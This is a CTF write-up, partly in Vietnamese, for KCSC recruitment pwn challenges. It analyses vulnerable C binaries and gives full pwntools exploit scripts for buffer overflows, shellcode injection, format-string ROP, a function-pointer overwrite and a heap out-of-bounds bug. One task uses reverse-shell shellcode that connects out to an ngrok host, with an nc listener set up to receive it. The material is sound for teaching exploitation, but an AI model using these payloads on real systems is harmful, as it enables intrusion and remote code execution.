# KCSC RECRUITMENT 9/2024
# pwn1 : Buffer overflow
## Analyze
source:
```c
#include<stdio.h>
#include<stdlib.h>
void init(){
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
}
void win(){
system("/bin/sh");
}
int main()
{
init();
char a[0x100];
gets(a);
}
```
checksec:

- Bug ở đây là BOF do gets không check size đưa vào a
## Exploit
- Bin cho hàm win + BOF + tắt canary -> ret2win
Script:
```python
#!/usr/bin/env python3
from pwn import *
def s(p, data): p.send(data)
def sl(p, data): p.sendline(data)
def sla(p, msg, data): p.sendlineafter(msg, data)
def sa(p, msg, data): p.sendafter(msg, data)
def rl(p): return p.recvline()
def ru(p, msg): return p.recvuntil(msg)
def r(p, size): return p.recv(size)
def intFromByte(p, size):
o = p.recv(size)[::-1].hex()
output = '0x' + o
leak = int(output, 16)
return leak
def get_exe_base(pid):
maps_file = f"/proc/{pid}/maps"
exe_base = None
with open(maps_file, 'r') as f:
exe_base = int(f.readline().split('-')[0], 16)
if exe_base is None:
raise Exception("Executable base address not found.")
return exe_base
def GDB(p):
base = get_exe_base(p.pid)
gdb.attach(p, gdbscript='''
b*0x0000000000401228
c
''')
input()
def main():
context.binary = exe = ELF("./chal1", checksec=False)
# libc = ELF("./", checksec=False)
# ld = ELF("./", checksec=False)
p = remote("157.15.86.73",8005)
# p = process(exe.path)
# GDB(p)
pay = b'a'*264+p64(0x00000000004011F4)+p64(0x00000000004011DF)
sl(p,pay)
p.interactive()
if __name__ == "__main__":
main()
```
# pwn2 : write shellcode
## analyze
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <unistd.h>
void init(){
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
}
int main()
{
init();
void (*code)(void) = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (code == MAP_FAILED) {
perror("mmap");
exit(1);
}
fgets((char*)code, 0x1000, stdin);
size_t len = strlen((char*)code);
for(int i = 0 ; i < len; i++)
{
if(((uint16_t*)code)[i] == 0x0f05)
{
exit(0);
}
}
code();
}
```
- Workflow của bin:
- mmap : creates a new mapping in the virtual address space of the calling process
- 0 : kernel tự chọn địa chỉ phù hợp
- 0x1000: size
- PROT_READ | PROT_WRITE | PROT_EXEC : quyền read,write,execute
- MAP_ANONYMOUS : tạo một vùng nhớ trống
- MAP_PRIVATE : chỉ dùng trong process hiện tại
- -1 : không cần nhận fd nào
- 0 : offset
- trả về mmap -> con trỏ hàm (*code)
- fgets : nhập từ stdin -> code
- check các bytes chống shellcode : nó sẽ duyệt 2bytes của shellcode -> xuất hiện 0x0f05=syscall -> exit
- tuy nhiên ở đây lại dùng hàm strlen để lấy size ( hàm này chỉ đếm số byte trước NULL) -> fake size shellcode
--> tìm lệnh asm nào có byte NULL thui
- code() : execute shellcode
## exploit
```python
#!/usr/bin/env python3
from pwn import *
def s(p, data): p.send(data)
def sl(p, data): p.sendline(data)
def sla(p, msg, data): p.sendlineafter(msg, data)
def sa(p, msg, data): p.sendafter(msg, data)
def rl(p): return p.recvline()
def ru(p, msg): return p.recvuntil(msg)
def r(p, size): return p.recv(size)
def intFromByte(p, size):
o = p.recv(size)[::-1].hex()
output = '0x' + o
leak = int(output, 16)
return leak
def get_exe_base(pid):
maps_file = f"/proc/{pid}/maps"
exe_base = None
with open(maps_file, 'r') as f:
exe_base = int(f.readline().split('-')[0], 16)
if exe_base is None:
raise Exception("Executable base address not found.")
return exe_base
def GDB(p):
base = get_exe_base(p.pid)
gdb.attach(p, gdbscript=f'''
b*{base} +0x00000000000012F1
c
''')
input()
def main():
context.binary = exe = ELF("./shellcode", checksec=False)
# libc = ELF("./", checksec=False)
# ld = ELF("./", checksec=False)
# p = remote("157.15.86.73",8006)
p = process(exe.path)
# GDB(p)
payload = '''
push 0x0
mov rax, 0x68732f6e69622f
push rax
push rsp
pop rdi
xor eax, eax
push rax
mov al, 59
push rsp
pop rdx
push rsp
pop rsi
syscall
'''
payload = asm(payload)
sl(p,payload)
p.interactive()
if __name__ == "__main__":
main()
```
# pwn3 : shellcode + reverse shell
## analyze
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <unistd.h>
void init(){
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
}
int main()
{
init();
void (*code)(void) = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (code == MAP_FAILED) {
perror("mmap");
exit(1);
}
fgets((char*)code, 0x1000, stdin);
size_t len = strlen((char*)code);
for(int i = 0 ; i < len; i++)
{
if(((uint16_t*)code)[i] == 0x0f05)
{
exit(0);
}
}
close(0);
close(1);
close(2);
code();
}
```
- Về cơ bản thì không khác gì pwn2 nhưng ở đây đã đóng các fd stdin, stdout, stderr -> chúng ta vẫn có thể lấy shell nhưng không thể đọc/ghi bất kì với shell này

## Tản mạn challenge
- Trong quá trình diễn ra, mình với ý tưởng cố gắng mở lại các fd stdin stdout(từ dev/null, tty, ...) để hi vọng nó sẽ in ra cái gì đó. Tuy nhiên vẫn không được, có lúc nó lại in ra cái bytes rác mà mình không biết nó lấy từ đâu.
- Sau khi nhận hint siêu khủng của author "reverse shell", thực ra sau khi cố gắng mở lại fd nhưng thất bại thì mình cũng đã thử reverse shell.
- Mình cũng đã từng làm 1 task liên quan đến revershell (socket bằng asm x86) giúp mình của có 1 cái nhìn sơ bộ về nó tuy vậy bản thân vẫn chưa thực sự đào sâu và sử dụng nó đúng cách.
- Sau gần 1 ngày tìm hiểu thì mình cũng hiểu hơn về cách tương tác với reverse shell, bind shell nhưng vẫn chưa thực sự thành tạo. Có lẽ nên tách nữa kiến thức về này ra 1 bài viết khác để có thể tập trung đi sâu hơn
- Còn với write-up này có lẽ sẽ chỉ là cái nhìn tổng quan và ứng dụng nhỏ bằng việc solve challenge này.
## Exploit

- Chuẩn bị connect reverse shell :
- Chuẩn bị ip public : https://ngrok.com/ -> đăng kí , authen các kiểu ...
- cmd : `ngrok tcp 8080`

- mở cổng nghe ở máy local : `nc -lnvp 8080`

- Tương tác với reverse shell : (bản chất nó ngược lại với bind shell là nó là server connect tới ) nên ta cần thiết lập các syscall để server tương tác với reverse shell
- `socket` : creates an endpoint for communication and returns a file descriptor that refers to that endpoint.
- `connect` : system call connects the socket referred to by the file descriptor sockfd to the address specified by addr.
- `dup2` : system call performs the same task as dup(), but instead of using the lowest-numbered unused file descriptor, it uses the file descriptor number specified in newfd. If the file descriptor newfd was previously open, it is silently closed before being reused.
- `execve` : get shell
- script :
```py
#!/usr/bin/env python3
from pwn import *
def s(p, data): p.send(data)
def sl(p, data): p.sendline(data)
def sla(p, msg, data): p.sendlineafter(msg, data)
def sa(p, msg, data): p.sendafter(msg, data)
def rl(p): return p.recvline()
def ru(p, msg): return p.recvuntil(msg)
def r(p, size): return p.recv(size)
def intFromByte(p, size):
o = p.recv(size)[::-1].hex()
output = '0x' + o
leak = int(output, 16)
return leak
def get_exe_base(pid):
maps_file = f"/proc/{pid}/maps"
exe_base = None
with open(maps_file, 'r') as f:
exe_base = int(f.readline().split('-')[0], 16)
if exe_base is None:
raise Exception("Executable base address not found.")
return exe_base
def GDB(p):
base = get_exe_base(p.pid)
gdb.attach(p, gdbscript=f'''
b*{base}+0x000000000000134E
c
''')
input()
def main():
context.binary = exe = ELF("./chall", checksec=False)
p = process(exe.path)
# p = remote("157.15.86.73", 8007)
# GDB(p)
host = '0.tcp.ap.ngrok.io'
port = 10951
shellcode = "push 0x0"
shellcode += shellcraft.amd64.linux.socket(network='ipv4', proto='tcp')
shellcode += 'mov r12 ,rax'
shellcode += shellcraft.amd64.linux.connect(host, port, network='ipv4')
shellcode += shellcraft.amd64.linux.dup2('r12', 0)
shellcode += shellcraft.amd64.linux.dup2('r12', 1)
shellcode += shellcraft.amd64.linux.dup2('r12', 2)
shellcode += shellcraft.open('/home/ctf/flag.txt')
shellcode += shellcraft.amd64.linux.read('rax','r10',0x20)
shellcode += shellcraft.amd64.linux.write(1, 'r10', 32)
shellcode = asm(shellcode)
sl(p, shellcode)
p.interactive()
if __name__ == "__main__":
main()
```
## References
- https://viblo.asia/p/hieu-ro-ve-reverse-shells-LzD5ddE45jY
- https://medium.com/@dhar.ishan04/here-is-all-you-need-to-know-about-file-descriptors-in-linux-d93f05166026
- https://www.geeksforgeeks.org/difference-between-bind-shell-and-reverse-shell/
- https://pwnable.tw/challenge/#16
# pwn4 : Format string + BOF + ROP
## analyze
- source code :
```c
#include <stdio.h>
#include <stdlib.h>
void init(){
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
}
int main()
{
init();
char a[0x50];
read(0,&a,0x1000);
printf(a);
}
```
- checksec:

- bài này có bug fmt ở hàm `printf(a)` và BOF ở `read(0,&a,0x1000)`
## Exploit:
- dùng fmt để leak libc
- bof để thực hiện ROP : call system('/bin/sh\x00') sau khi leak được libc
- Script
```python
#!/usr/bin/env python3
from pwn import *
def s(p, data): p.send(data)
def sl(p, data): p.sendline(data)
def sla(p, msg, data): p.sendlineafter(msg, data)
def sa(p, msg, data): p.sendafter(msg, data)
def rl(p): return p.recvline()
def ru(p, msg): return p.recvuntil(msg)
def r(p, size): return p.recv(size)
def intFromByte(p, size):
o = p.recv(size)[::-1].hex()
output = '0x' + o
leak = int(output, 16)
return leak
def get_exe_base(pid):
maps_file = f"/proc/{pid}/maps"
exe_base = None
with open(maps_file, 'r') as f:
exe_base = int(f.readline().split('-')[0], 16)
if exe_base is None:
raise Exception("Executable base address not found.")
return exe_base
def GDB(p):
base = get_exe_base(p.pid)
gdb.attach(p, gdbscript='''
b*0x0000000000401218
c
''')
input()
def main():
context.binary = exe = ELF("./chal", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
# ld = ELF("./", checksec=False)
p = remote("157.15.86.73",8008)
# p = process(exe.path)
# GDB(p)
pay = b'%37$p|'
pay =pay.ljust(88,b'a')
pay += p64(0x00000000004011E0)
s(p,pay)
leak = int(ru(p,b'|').replace(b'|',b''),16)
print(hex(leak))
libc.address = leak - 172683
print("libc base:",hex(libc.address))
system=libc.sym['system']
poprdi = 0x000000000010f75b+libc.address
poprsi = 0x0000000000110a4d+libc.address
binsh =0x1cb42f +libc.address
ret = 0x0000000000401223
pay = b'A'*88
pay += flat(
poprdi,
binsh,
poprsi,
0x00,
ret,
system
)
s(p,pay)
p.interactive()
if __name__ == "__main__":
main()
```
## References
- https://www.youtube.com/watch?v=cIuycF_GBME&list=PLEvZsp0uc3SFuVi6TtcahxqsEbV29lXAM
# yud : BOF + lỗi ép kiểu
## analyze
- yud.c
- case 1 :
```c
case 1:
printf("Length: ");
scanf("%d", &len);
if((short)len >= 0x100)
{
puts("Invalid length");
break;
}
printf("Data: ");
len = read(0, data, len);
encode_func(data, encode, len);
puts("Done!");
break;
```
-> cho nhập `len` rồi `read()` vào mảng data với len đó . Nhưng nhìn `(short)len` tự nhiên thấy có điềm -> len 4byte nhưng lại lấy 2 bytes cuối so sánh -> vẫn dùng len cho read -> BOF
- Các hàm còn lại cũng không quan trong lắm.
## Exploit
- tìm 1 số có 2 byte cuối < 0x100 để gây ra BOF
- có hàm win -> ret2win
- Script
```python
#!/usr/bin/env python3
from pwn import *
def s(p, data): p.send(data)
def sl(p, data): p.sendline(data)
def sla(p, msg, data): p.sendlineafter(msg, data)
def sa(p, msg, data): p.sendafter(msg, data)
def rl(p): return p.recvline()
def ru(p, msg): return p.recvuntil(msg)
def r(p, size): return p.recv(size)
def intFromByte(p, size):
o = p.recv(size)[::-1].hex()
output = '0x' + o
leak = int(output, 16)
return leak
def get_exe_base(pid):
maps_file = f"/proc/{pid}/maps"
exe_base = None
with open(maps_file, 'r') as f:
exe_base = int(f.readline().split('-')[0], 16)
if exe_base is None:
raise Exception("Executable base address not found.")
return exe_base
def GDB(p):
base = get_exe_base(p.pid)
gdb.attach(p, gdbscript='''
b*0x00000000004016CB
c
''')
input()
def main():
context.binary = exe = ELF("./yud_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
# ld = ELF("./", checksec=False)
p = remote("157.15.86.73",8004)
# p = process(exe.path)
# GDB(p)
sla(p,b'>> ',b'1')
sla(p,b'Length: ',b'16777455')
payload = b'A'*280 +p64(0x00000000040156A) + p64(0x0000000000401555)
sa(p,b'Data: ',payload)
sla(p,b'>> ',b'3')
p.interactive()
if __name__ == "__main__":
main()
```
# node_node_node : Buffer overflow
## analyze
```c
typedef struct node
{
size_t id, n;
char data[0x10];
void (*func_ptr)(char*);
size_t link[0x10];
} node;
node *nodes[0x10];
```
- case 1 :
```c
case 1:
puts("Id: ");
scanf("%llu", &id1);
if(id1 < 0x10 && nodes[id1])
puts("Node exists");
else if(id1 >= 0x10)
puts("Invalid id");
else
{
nodes[id1] = Create_Node(id1);
nodes[id1]->func_ptr("Created");
}
break;
--------------------------------------------------------------------------------------
node* Create_Node(size_t id)
{
node *tmp = (node*)malloc(sizeof(node));
if(!tmp)
return NULL;
else
{
tmp->id = id;
tmp->n = 0;
tmp->func_ptr = &node_method;
memset(tmp->data, 0, sizeof(tmp->data));
memset(tmp->link, -1, sizeof(tmp->link));
return tmp;
}
}
--------------------------------------------------------------------------------------
void node_method(char words[])
{
puts(words);
}
--------------------------------------------------------------------------------------
* case 1 có nhiệm vụ tạo ra 1 node mới (cấp giá trị cho các field của mỗi node) trả về cho mảng nodes tại id đã nhập.
- Sau đó gọi tới con trỏ hàm ở field func_ptr (là 1 con trỏ hàm) với đối số "created".
```
- case 2 :
```c
case 2:
puts("Node 1: ");
scanf("%llu", &id1);
puts("Node 2:");
scanf("%llu", &id2);
if(id1 < 0x10 && id2 < 0x10 && id1 != id2)
Link_Node(id1, id2);
else
puts("Invalid");
break;
--------------------------------------------------------------------------------------
void Link_Node(size_t src, size_t dest)
{
if(nodes[src] && nodes[dest])
{
for(int i = 0; i < nodes[src]->n; i++)
if(nodes[src]->link[i] == dest)
exit(-1);
node *src_node = nodes[src], *dest_node = nodes[dest];
src_node->link[src_node->n++] = dest;
dest_node->link[dest_node->n++] = src;
src_node->func_ptr("Done!");
}
else
{
puts("Invalid");
}
}
--------------------------------------------------------------------------------------
case 2 sẽ link 2 node đã tạo lại với nhau bằng cách :
- kiểm tra 2 node đã link trước đo chưa (duyệt 0->n (field chứa số node đã link với id1))
- tăng n -> gán link là id của node kia
-> sau đó gọi con trỏ hàm tại id1
```
case 3 :
```c
case 3:
puts("Read from: ");
scanf("%llu", &id1);
Read_Graph(id1);
break;
--------------------------------------------------------------------------------------
void Read_Graph(size_t start)
{
size_t is_visited[0x10] = {0}, n;
node *node_list[0x10], *tmp;
if(!nodes[start])
{
puts("Not created node");
return;
}
node_list[0] = nodes[start];
n = 1;
while(n)
{
tmp = node_list[0];
printf("Node: %llu\n", tmp->id);
is_visited[tmp->id] = 1;
tmp->func_ptr("Data: ");
read(0, tmp->data + strlen(tmp->data), 0x10);
tmp->func_ptr("Done!");
for(int i = 0; i < tmp->n; i++)
{
if(!is_visited[tmp->link[i]])
node_list[n++] = nodes[tmp->link[i]];
}
//remove the first element in node_list
for(int i = 0; i < n; i++)
node_list[i] = node_list[i+1];
n--;
}
puts("Data saved");
}
--------------------------------------------------------------------------------------
case 3 sẽ dùng duyệt từng id để nhập vào field data xuất phát từ id được nhập (thông qua thuật toán BFS)
- Tuy nhiên có 1 bug ở đây là read(0, tmp->data + strlen(tmp->data), 0x10);
-> cho phép nhập từ vị trí kết thúc chuỗi đã nhập trước đó -> BOF
```
## exploit
- ta thấy field func_ptr nằm dưới field data -> ở hàm link lại có khả năng gọi con trỏ hàm đã được tạo.
- hàm win : cat flag
-> overwrite field func_ptr ở 1 node đã tạo -> win -> link 2 node -> call win

- script
```py
#!/usr/bin/env python3
from pwn import *
def s(p, data): p.send(data)
def sl(p, data): p.sendline(data)
def sla(p, msg, data): p.sendlineafter(msg, data)
def sa(p, msg, data): p.sendafter(msg, data)
def rl(p): return p.recvline()
def ru(p, msg): return p.recvuntil(msg)
def r(p, size): return p.recv(size)
def intFromByte(p, size):
o = p.recv(size)[::-1].hex()
output = '0x' + o
leak = int(output, 16)
return leak
def get_exe_base(pid):
maps_file = f"/proc/{pid}/maps"
exe_base = None
with open(maps_file, 'r') as f:
exe_base = int(f.readline().split('-')[0], 16)
if exe_base is None:
raise Exception("Executable base address not found.")
return exe_base
def create(p,id):
sla(p,b'>> \n',b'1')
sla(p,b'Id: \n',str(id).encode())
def link(p,id1,id2):
sla(p,b'>> \n',b'2')
sla(p,b'Node 1: \n',str(id1).encode())
sla(p,b'Node 2: \n',str(id2).encode())
def save(p,id,data):
sla(p,b'>> \n',b'3')
sla(p,b'Read from: \n',str(id).encode())
sa(p,b'Data: \n',data)
def GDB(p):
base = get_exe_base(p.pid)
gdb.attach(p, gdbscript='''
b*0x00000000004015B2
c
''')
input()
def main():
context.binary = exe = ELF("./chall_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
# ld = ELF("./", checksec=False)
# p = remote("157.15.86.73",8003)
p = process(exe.path)
for i in range(3):
create(p,i)
payload = b'A'*12
save(p,0,payload)
# GDB(p)
payload = p32(0x00000000004016F0)*2
save(p,0,payload)
link(p,0,1)
p.interactive()
if __name__ == "__main__":
main()
```
# kalei : out of bound
- Bug OOB tồn tại ở tất cả các hàm từ đó leak được khá dễ
- rop thì overwrite return address của hàm read
```c
#!/usr/bin/env python3
from pwn import *
def s(p, data): p.send(data)
def sl(p, data): p.sendline(data)
def sla(p, msg, data): p.sendlineafter(msg, data)
def sa(p, msg, data): p.sendafter(msg, data)
def rl(p): return p.recvline()
def ru(p, msg): return p.recvuntil(msg)
def r(p, size): return p.recv(size)
def intFromByte(p, size):
o = p.recv(size)[::-1].hex()
output = '0x' + o
leak = int(output, 16)
return leak
def get_exe_base(pid):
maps_file = f"/proc/{pid}/maps"
exe_base = None
with open(maps_file, 'r') as f:
exe_base = int(f.readline().split('-')[0], 16)
if exe_base is None:
raise Exception("Executable base address not found.")
return exe_base
def create(p,idx,size,data):
sla(p,b'>> ',b'1')
sla(p,b'Index: ',str(idx).encode())
sla(p,b'Size: ',str(size).encode())
sa(p,b'Data: ',data)
def show(p,idx):
sla(p,b'>> ',b'2')
sla(p,b'Index: ',str(idx).encode())
def delete(p,idx):
sla(p,b'>> ',b'3')
sla(p,b'Index: ',str(idx).encode())
def GDB(p):
base = get_exe_base(p.pid)
gdb.attach(p, gdbscript='''
b*0x555555554000+ 0x0000000000001473
c
''')
input()
def main():
context.binary = exe = ELF("./kalei", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
p = process(exe.path)
# p = remote("0",1337)
# GDB(p)
#################
data = 0x555555554000 + 0x0000000000004080 #0x555555558080
size = 0x555555554000 + 0x0000000000004100 #0x555555558100
#################
for i in range(16):
create(p,i,0x10,b'A'*0x10)
show(p,-4)
ru(p,b'\x00\x00\x00\x00')
libc_leak = intFromByte(p,6)
print("libc leak:",hex(libc_leak))
ru(p,b'Create data')
libc.address = libc_leak - 0x21b723
print("libc base:",hex(libc.address))
for i in range(8):
delete(p,i)
create(p,33,0x40,p64(libc.sym.environ))
create(p,0,0x10,b'A')
create(p,0,0x10,b'A')
show(p,0)
ru(p,b'Your data: ')
stack = intFromByte(p,6)
print("stack:",hex(stack))
target = stack-0x189
print("target:",hex(target))
for i in range(8):
create(p,i,0x40,b'A'*0x10)
for i in range(8):
delete(p,i)
create(p,43,0x20,p64(target))
create(p,0,0x40,p64(target))
payload = flat(
0x000000000002a3e5+libc.address, #poprdi
0x1d8678+libc.address, # /bin/sh
0x000000000011f2e7+ libc.address,0,0, #pop rdx, pop r12
0x0000000000045eb0+libc.address,0x3b, # pop rax
0x0000000000118f32+libc.address # syscall
)
create(p,0,0x40,payload)
p.interactive()
if __name__ == "__main__":
main()
```
# pwn5